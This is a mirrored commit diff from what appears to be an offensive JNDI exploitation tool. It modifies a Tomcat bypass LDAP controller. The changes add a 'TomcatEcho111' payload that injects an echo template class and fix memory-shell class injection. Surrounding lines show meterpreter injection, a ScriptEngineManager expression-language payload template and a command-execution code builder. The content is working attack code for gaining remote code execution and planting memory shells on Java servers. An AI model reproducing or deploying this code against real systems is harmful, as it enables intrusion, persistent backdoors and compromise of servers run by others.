mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-24 15:51:53 +08:00
tomcat修复
This commit is contained in:
@@ -8,6 +8,7 @@ import com.qi4l.jndi.gadgets.utils.Gadgets;
|
||||
import com.qi4l.jndi.gadgets.utils.InjShell;
|
||||
import com.qi4l.jndi.gadgets.utils.Util;
|
||||
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.jndi.template.echo.TomcatEchoJndi;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
@@ -48,7 +49,7 @@ public class TomcatBypassController implements LdapController {
|
||||
if (payloadType.contains("M-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
InjShell.init(params);
|
||||
Class<?> classQ = Gadgets.createClassT(ClassName1);
|
||||
Class<?> classQ = Gadgets.createClassT(ClassName1).getClass();
|
||||
code = InjShell.injectClass(classQ);
|
||||
}
|
||||
|
||||
@@ -60,6 +61,10 @@ public class TomcatBypassController implements LdapController {
|
||||
code = helper.injectMeterpreter();
|
||||
}
|
||||
|
||||
if (payloadType.contains("TomcatEcho111")) {
|
||||
code = helper.injectTomcatEchoTemplate();
|
||||
}
|
||||
|
||||
String payloadTemplate = "{" +
|
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
|
||||
".newInstance().getEngineByName(\"JavaScript\")" +
|
||||
@@ -145,6 +150,10 @@ public class TomcatBypassController implements LdapController {
|
||||
return InjShell.injectClass(ctClazz);
|
||||
}
|
||||
|
||||
public String injectTomcatEchoTemplate() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||
return InjShell.injectClass(TomcatEchoJndi.class);
|
||||
}
|
||||
|
||||
public String getExecCode(String cmd) throws IOException {
|
||||
|
||||
String code = "var strs=new Array(3);\n" +
|
||||
|
||||
Reference in New Issue
Block a user